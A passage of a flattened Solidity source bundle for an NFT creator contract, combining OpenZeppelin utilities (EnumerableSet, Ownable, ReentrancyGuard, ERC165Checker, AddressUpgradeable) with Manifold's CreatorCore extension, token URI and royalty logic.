function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
/**
* @dev Interface for admin control
*/
interface IAdminControl is IERC165 {
event AdminApproved(address indexed account, address indexed sender);
event AdminRevoked(address indexed account, address indexed sender);
/**
* @dev gets address of all admins
*/
function getAdmins() external view returns (address[] memory);
/**
* @dev add an admin. Can only be called by contract owner.
*/
function approveAdmin(address admin) external;
/**
* @dev remove an admin. Can only be called by contract owner.
*/
function revokeAdmin(address admin) external;
/**
* @dev checks whether or not given address is an admin
* Returns True if they are
*/
function isAdmin(address admin) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
/**
* Implement this if you want your extension to approve a transfer
*/
interface IERC721CreatorExtensionApproveTransfer is IERC165 {
/**
* @dev Set whether or not the creator will check the extension for approval of token transfer
*/
function setApproveTransfer(address creator, bool enabled) external;
/**
* @dev Called by creator contract to approve a transfer
*/
function approveTransfer(address from, address to, uint256 tokenId) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
/**
* @dev Your extension is required to implement this interface if it wishes
* to receive the onBurn callback whenever a token the extension created is
* burned
*/
interface IERC721CreatorExtensionBurnable is IERC165 {
/**
* @dev callback handler for burn events
*/
function onBurn(address owner, uint256 tokenId) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721Creator compliant extension contracts.
*/
interface IERC721CreatorMintPermissions is IERC165 {
/**
* @dev get approval to mint
*/
function approveMint(address extension, address to, uint256 tokenId) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "./ICreatorCore.sol";
/**
* @dev Core ERC721 creator interface
*/
interface IERC721CreatorCore is ICreatorCore {
/**
* @dev mint a token with no extension. Can only be called by an admin.
* Returns tokenId minted
*/
function mintBase(address to) external returns (uint256);
/**
* @dev mint a token with no extension. Can only be called by an admin.
* Returns tokenId minted
*/
function mintBase(address to, string calldata uri) external returns (uint256);
/**
* @dev batch mint a token with no extension. Can only be called by an admin.
* Returns tokenId minted
*/
function mintBaseBatch(address to, uint16 count) external returns (uint256[] memory);
/**
* @dev batch mint a token with no extension. Can only be called by an admin.
* Returns tokenId minted
*/
function mintBaseBatch(address to, string[] calldata uris) external returns (uint256[] memory);
/**
* @dev mint a token. Can only be called by a registered extension.
* Returns tokenId minted
*/
function mintExtension(address to) external returns (uint256);
/**
* @dev mint a token. Can only be called by a registered extension.
* Returns tokenId minted
*/
function mintExtension(address to, string calldata uri) external returns (uint256);
/**
* @dev batch mint a token. Can only be called by a registered extension.
* Returns tokenIds minted
*/
function mintExtensionBatch(address to, uint16 count) external returns (uint256[] memory);
/**
* @dev batch mint a token. Can only be called by a registered extension.
* Returns tokenId minted
*/
function mintExtensionBatch(address to, string[] calldata uris) external returns (uint256[] memory);
/**
* @dev burn a token. Can only be called by token owner or approved address.
* On burn, calls back to the registered extension's onBurn method
*/
function burn(uint256 tokenId) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "../extensions/ICreatorExtensionTokenURI.sol";
import "./ICreatorCore.sol";
/**
* @dev Core creator implementation
*/
abstract contract CreatorCore is ReentrancyGuard, ICreatorCore, ERC165 {
using Strings for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
using AddressUpgradeable for address;
uint256 _tokenCount = 0;
// Track registered extensions data
EnumerableSet.AddressSet internal _extensions;
EnumerableSet.AddressSet internal _blacklistedExtensions;
mapping (address => address) internal _extensionPermissions;
mapping (address => bool) internal _extensionApproveTransfers;
// For tracking which extension a token was minted by
mapping (uint256 => address) internal _tokensExtension;
// The baseURI for a given extension
mapping (address => string) private _extensionBaseURI;
mapping (address => bool) private _extensionBaseURIIdentical;
// The prefix for any tokens with a uri configured
mapping (address => string) private _extensionURIPrefix;
// Mapping for individual token URIs
mapping (uint256 => string) internal _tokenURIs;
// Royalty configurations
mapping (address => address payable[]) internal _extensionRoyaltyReceivers;
mapping (address => uint256[]) internal _extensionRoyaltyBPS;
mapping (uint256 => address payable[]) internal _tokenRoyaltyReceivers;
mapping (uint256 => uint256[]) internal _tokenRoyaltyBPS;
/**
* External interface identifiers for royalties
*/
/**
* @dev CreatorCore
*
* bytes4(keccak256('getRoyalties(uint256)')) == 0xbb3bafd6
*
* => 0xbb3bafd6 = 0xbb3bafd6
*/
bytes4 private constant _INTERFACE_ID_ROYALTIES_CREATORCORE = 0xbb3bafd6;
/**
* @dev Rarible: RoyaltiesV1
*
* bytes4(keccak256('getFeeRecipients(uint256)')) == 0xb9c4d9fb
* bytes4(keccak256('getFeeBps(uint256)')) == 0x0ebd4c7f
*
* => 0xb9c4d9fb ^ 0x0ebd4c7f = 0xb7799584
*/
bytes4 private constant _INTERFACE_ID_ROYALTIES_RARIBLE = 0xb7799584;
/**
* @dev Foundation
*
* bytes4(keccak256('getFees(uint256)')) == 0xd5a06d4c
*
* => 0xd5a06d4c = 0xd5a06d4c
*/
bytes4 private constant _INTERFACE_ID_ROYALTIES_FOUNDATION = 0xd5a06d4c;
/**
* @dev EIP-2981
*
* bytes4(keccak256("royaltyInfo(uint256,uint256)")) == 0x2a55205a
*
* => 0x2a55205a = 0x2a55205a
*/
bytes4 private constant _INTERFACE_ID_ROYALTIES_EIP2981 = 0x2a55205a;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(ICreatorCore).interfaceId || super.supportsInterface(interfaceId)
|| interfaceId == _INTERFACE_ID_ROYALTIES_CREATORCORE || interfaceId == _INTERFACE_ID_ROYALTIES_RARIBLE
|| interfaceId == _INTERFACE_ID_ROYALTIES_FOUNDATION || interfaceId == _INTERFACE_ID_ROYALTIES_EIP2981;
}
/**
* @dev Only allows registered extensions to call the specified function
*/
modifier extensionRequired() {
require(_extensions.contains(msg.sender), "Must be registered extension");
_;
}
/**
* @dev Only allows non-blacklisted extensions
*/
modifier nonBlacklistRequired(address extension) {
require(!_blacklistedExtensions.contains(extension), "Extension blacklisted");
_;
}
/**
* @dev See {ICreatorCore-getExtensions}.
*/
function getExtensions() external view override returns (address[] memory extensions) {
extensions = new address[](_extensions.length());
for (uint i = 0; i < _extensions.length(); i++) {
extensions[i] = _extensions.at(i);
}
return extensions;
}
/**
* @dev Register an extension
*/
function _registerExtension(address extension, string calldata baseURI, bool baseURIIdentical) internal {
require(extension != address(this), "Creator: Invalid");
require(extension.isContract(), "Creator: Extension must be a contract");
if (!_extensions.contains(extension)) {
_extensionBaseURI[extension] = baseURI;
_extensionBaseURIIdentical[extension] = baseURIIdentical;
emit ExtensionRegistered(extension, msg.sender);
_extensions.add(extension);
}
}
/**
* @dev Unregister an extension
*/
function _unregisterExtension(address extension) internal {
if (_extensions.contains(extension)) {
emit ExtensionUnregistered(extension, msg.sender);
_extensions.remove(extension);
}
}
/**
* @dev Blacklist an extension
*/
function _blacklistExtension(address extension) internal {
require(extension != address(this), "Cannot blacklist yourself");
if (_extensions.contains(extension)) {
emit ExtensionUnregistered(extension, msg.sender);
_extensions.remove(extension);
}
if (!_blacklistedExtensions.contains(extension)) {
emit ExtensionBlacklisted(extension, msg.sender);
_blacklistedExtensions.add(extension);
}
}
/**
* @dev Set base token uri for an extension
*/
function _setBaseTokenURIExtension(string calldata uri, bool identical) internal {
_extensionBaseURI[msg.sender] = uri;
_extensionBaseURIIdentical[msg.sender] = identical;
}
/**
* @dev Set token uri prefix for an extension
*/
function _setTokenURIPrefixExtension(string calldata prefix) internal {
_extensionURIPrefix[msg.sender] = prefix;
}
/**
* @dev Set token uri for a token of an extension
*/
function _setTokenURIExtension(uint256 tokenId, string calldata uri) internal {
require(_tokensExtension[tokenId] == msg.sender, "Invalid token");
_tokenURIs[tokenId] = uri;
}
/**
* @dev Set base token uri for tokens with no extension
*/
function _setBaseTokenURI(string memory uri) internal {
_extensionBaseURI[address(this)] = uri;
}
/**
* @dev Set token uri prefix for tokens with no extension
*/
function _setTokenURIPrefix(string calldata prefix) internal {
_extensionURIPrefix[address(this)] = prefix;
}
/**
* @dev Set token uri for a token with no extension
*/
function _setTokenURI(uint256 tokenId, string calldata uri) internal {
require(_tokensExtension[tokenId] == address(this), "Invalid token");
_tokenURIs[tokenId] = uri;
}
/**
* @dev Retrieve a token's URI
*/
function _tokenURI(uint256 tokenId) internal view returns (string memory) {
address extension = _tokensExtension[tokenId];
require(!_blacklistedExtensions.contains(extension), "Extension blacklisted");
if (bytes(_tokenURIs[tokenId]).length != 0) {
if (bytes(_extensionURIPrefix[extension]).length != 0) {
return string(abi.encodePacked(_extensionURIPrefix[extension],_tokenURIs[tokenId]));
}
return _tokenURIs[tokenId];
}
if (ERC165Checker.supportsInterface(extension, type(ICreatorExtensionTokenURI).interfaceId)) {
return ICreatorExtensionTokenURI(extension).tokenURI(address(this), tokenId);
}
if (!_extensionBaseURIIdentical[extension]) {
return string(abi.encodePacked(_extensionBaseURI[extension], tokenId.toString()));
} else {
return _extensionBaseURI[extension];
}
}
/**
* Get token extension
*/
function _tokenExtension(uint256 tokenId) internal view returns (address extension) {
extension = _tokensExtension[tokenId];
require(extension != address(this), "No extension for token");
require(!_blacklistedExtensions.contains(extension), "Extension blacklisted");
return extension;
}
/**
* Helper to get royalties for a token
*/
function _getRoyalties(uint256 tokenId) view internal returns (address payable[] storage, uint256[] storage) {
return (_getRoyaltyReceivers(tokenId), _getRoyaltyBPS(tokenId));
}
/**
* Helper to get royalty receivers for a token
*/
function _getRoyaltyReceivers(uint256 tokenId) view internal returns (address payable[] storage) {
if (_tokenRoyaltyReceivers[tokenId].length > 0) {
return _tokenRoyaltyReceivers[tokenId];
} else if (_extensionRoyaltyReceivers[_tokensExtension[tokenId]].length > 0) {
return _extensionRoyaltyReceivers[_tokensExtension[tokenId]];
}
return _extensionRoyaltyReceivers[address(this)];
}
/**
* Helper to get royalty basis points for a token
*/
function _getRoyaltyBPS(uint256 tokenId) view internal returns (uint256[] storage) {
if (_tokenRoyaltyBPS[tokenId].length > 0) {
return _tokenRoyaltyBPS[tokenId];
} else if (_extensionRoyaltyBPS[_tokensExtension[tokenId]].length > 0) {
return _extensionRoyaltyBPS[_tokensExtension[tokenId]];
}
return _extensionRoyaltyBPS[address(this)];
}
function _getRoyaltyInfo(uint256 tokenId, uint256 value) view internal returns (address receiver, uint256 amount){
address payable[] storage receivers = _getRoyaltyReceivers(tokenId);
require(receivers.length <= 1, "More than 1 royalty receiver");
if (receivers.length == 0) {
return (address(this), 0);
}
return (receivers[0], _getRoyaltyBPS(tokenId)[0]*value/10000);
}
/**
* Set royalties for a token
*/
function _setRoyalties(uint256 tokenId, address payable[] calldata receivers, uint256[] calldata basisPoints) internal {
require(receivers.length == basisPoints.length, "Invalid input");
uint256 totalBasisPoints;
for (uint i = 0; i < basisPoints.length; i++) {
totalBasisPoints += basisPoints[i];
}
require(totalBasisPoints < 10000, "Invalid total royalties");
_tokenRoyaltyReceivers[tokenId] = receivers;
_tokenRoyaltyBPS[tokenId] = basisPoints;
emit RoyaltiesUpdated(tokenId, receivers, basisPoints);
}
/**
* Set royalties for all tokens of an extension
*/
function _setRoyaltiesExtension(address extension, address payable[] calldata receivers, uint256[] calldata basisPoints) internal {
require(receivers.length == basisPoints.length, "Invalid input");
uint256 totalBasisPoints;
for (uint i = 0; i < basisPoints.length; i++) {
totalBasisPoints += basisPoints[i];
}
require(totalBasisPoints < 10000, "Invalid total royalties");
_extensionRoyaltyReceivers[extension] = receivers;
_extensionRoyaltyBPS[extension] = basisPoints;
if (extension == address(this)) {
emit DefaultRoyaltiesUpdated(receivers, basisPoints);
} else {
emit ExtensionRoyaltiesUpdated(extension, receivers, basisPoints);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
/**
* @dev Core creator interface
*/
interface ICreatorCore is IERC165 {
event ExtensionRegistered(address indexed extension, address indexed sender);
event ExtensionUnregistered(address indexed extension, address indexed sender);
event ExtensionBlacklisted(address indexed extension, address indexed sender);
event MintPermissionsUpdated(address indexed extension, address indexed permissions, address indexed sender);
event RoyaltiesUpdated(uint256 indexed tokenId, address payable[] receivers, uint256[] basisPoints);
event DefaultRoyaltiesUpdated(address payable[] receivers, uint256[] basisPoints);
event ExtensionRoyaltiesUpdated(address indexed extension, address payable[] receivers, uint256[] basisPoints);
event ExtensionApproveTransferUpdated(address indexed extension, bool enabled);
/**
* @dev gets address of all extensions
*/
function getExtensions() external view returns (address[] memory);
/**
* @dev add an extension. Can only be called by contract owner or admin.
* extension address must point to a contract implementing ICreatorExtension.
* Returns True if newly added, False if already added.
*/
function registerExtension(address extension, string calldata baseURI) external;
/**
* @dev add an extension. Can only be called by contract owner or admin.
* extension address must point to a contract implementing ICreatorExtension.
* Returns True if newly added, False if already added.
*/
function registerExtension(address extension, string calldata baseURI, bool baseURIIdentical) external;
/**
* @dev add an extension. Can only be called by contract owner or admin.
* Returns True if removed, False if already removed.
*/
function unregisterExtension(address extension) external;
/**
* @dev blacklist an extension. Can only be called by contract owner or admin.
* This function will destroy all ability to reference the metadata of any tokens created
* by the specified extension. It will also unregister the extension if needed.
* Returns True if removed, False if already removed.
*/
function blacklistExtension(address extension) external;
/**
* @dev set the baseTokenURI of an extension. Can only be called by extension.
*/
function setBaseTokenURIExtension(string calldata uri) external;
/**
* @dev set the baseTokenURI of an extension. Can only be called by extension.
* For tokens with no uri configured, tokenURI will return "uri+tokenId"
*/
function setBaseTokenURIExtension(string calldata uri, bool identical) external;
/**
* @dev set the common prefix of an extension. Can only be called by extension.
* If configured, and a token has a uri set, tokenURI will return "prefixURI+tokenURI"
* Useful if you want to use ipfs/arweave
*/
function setTokenURIPrefixExtension(string calldata prefix) external;
/**
* @dev set the tokenURI of a token extension. Can only be called by extension that minted token.
*/
function setTokenURIExtension(uint256 tokenId, string calldata uri) external;
/**
* @dev set the tokenURI of a token extension for multiple tokens. Can only be called by extension that minted token.
*/
function setTokenURIExtension(uint256[] memory tokenId, string[] calldata uri) external;
/**
* @dev set the baseTokenURI for tokens with no extension. Can only be called by owner/admin.
* For tokens with no uri configured, tokenURI will return "uri+tokenId"
*/
function setBaseTokenURI(string calldata uri) external;
/**
* @dev set the common prefix for tokens with no extension. Can only be called by owner/admin.
* If configured, and a token has a uri set, tokenURI will return "prefixURI+tokenURI"
* Useful if you want to use ipfs/arweave
*/
function setTokenURIPrefix(string calldata prefix) external;
/**
* @dev set the tokenURI of a token with no extension. Can only be called by owner/admin.
*/
function setTokenURI(uint256 tokenId, string calldata uri) external;
/**
* @dev set the tokenURI of multiple tokens with no extension. Can only be called by owner/admin.
*/
function setTokenURI(uint256[] memory tokenIds, string[] calldata uris) external;
/**
* @dev set a permissions contract for an extension. Used to control minting.
*/
function setMintPermissions(address extension, address permissions) external;
/**
* @dev Configure so transfers of tokens created by the caller (must be extension) gets approval
* from the extension before transferring
*/
function setApproveTransferExtension(bool enabled) external;
/**
* @dev get the extension of a given token
*/
function tokenExtension(uint256 tokenId) external view returns (address);
/**
* @dev Set default royalties
*/
function setRoyalties(address payable[] calldata receivers, uint256[] calldata basisPoints) external;
/**
* @dev Set royalties of a token
*/
function setRoyalties(uint256 tokenId, address payable[] calldata receivers, uint256[] calldata basisPoints) external;
/**
* @dev Set royalties of an extension
*/
function setRoyaltiesExtension(address extension, address payable[] calldata receivers, uint256[] calldata basisPoints) external;
/**
* @dev Get royalites of a token. Returns list of receivers and basisPoints
*/
function getRoyalties(uint256 tokenId) external view returns (address payable[] memory, uint256[] memory);
// Royalty support for various other standards
function getFeeRecipients(uint256 tokenId) external view returns (address payable[] memory);
function getFeeBps(uint256 tokenId) external view returns (uint[] memory);
function getFees(uint256 tokenId) external view returns (address payable[] memory, uint256[] memory);
function royaltyInfo(uint256 tokenId, uint256 value) external view returns (address, uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Library used to query support of an interface declared via {IERC165}.
*
* Note that these functions return the actual result of the query: they do not
* `revert` if an interface is not supported. It is up to the caller to decide
* what to do in these cases.
*/
library ERC165Checker {
// As per the EIP-165 spec, no interface should ever match 0xffffffff
bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff;
/**
* @dev Returns true if `account` supports the {IERC165} interface,
*/
function supportsERC165(address account) internal view returns (bool) {
// Any contract that implements ERC165 must explicitly indicate support of
// InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid
return
_supportsERC165Interface(account, type(IERC165).interfaceId) &&
!_supportsERC165Interface(account, _INTERFACE_ID_INVALID);
}
/**
* @dev Returns true if `account` supports the interface defined by
* `interfaceId`. Support for {IERC165} itself is queried automatically.
*
* See {IERC165-supportsInterface}.
*/
function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) {
// query support of both ERC165 as per the spec and support of _interfaceId
return supportsERC165(account) && _supportsERC165Interface(account, interfaceId);
}
/**
* @dev Returns a boolean array where each value corresponds to the
* interfaces passed in and whether they're supported or not. This allows
* you to batch check interfaces for a contract where your expectation
* is that some interfaces may not be supported.
*
* See {IERC165-supportsInterface}.
*
* _Available since v3.4._
*/
function getSupportedInterfaces(address account, bytes4[] memory interfaceIds)
internal
view
returns (bool[] memory)
{
// an array of booleans corresponding to interfaceIds and whether they're supported or not
bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length);
// query support of ERC165 itself
if (supportsERC165(account)) {
// query support of each interface in interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]);
}
}
return interfaceIdsSupported;
}
/**
* @dev Returns true if `account` supports all the interfaces defined in
* `interfaceIds`. Support for {IERC165} itself is queried automatically.
*
* Batch-querying can lead to gas savings by skipping repeated checks for
* {IERC165} support.
*
* See {IERC165-supportsInterface}.
*/
function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) {
// query support of ERC165 itself
if (!supportsERC165(account)) {
return false;
}
// query support of each interface in _interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
if (!_supportsERC165Interface(account, interfaceIds[i])) {
return false;
}
}
// all interfaces supported
return true;
}
/**
* @notice Query if a contract implements an interface, does not check ERC165 support
* @param account The address of the contract to query for support of an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @return true if the contract at account indicates support of the interface with
* identifier interfaceId, false otherwise
* @dev Assumes that account contains a contract that supports ERC165, otherwise
* the behavior of this method is undefined. This precondition can be checked
* with {supportsERC165}.
* Interface identification is specified in ERC-165.
*/
function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) {
bytes memory encodedParams = abi.encodeWithSelector(IERC165.supportsInterface.selector, interfaceId);
(bool success, bytes memory result) = account.staticcall{gas: 30000}(encodedParams);
if (result.length < 32) return false;
return success && abi.decode(result, (bool));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
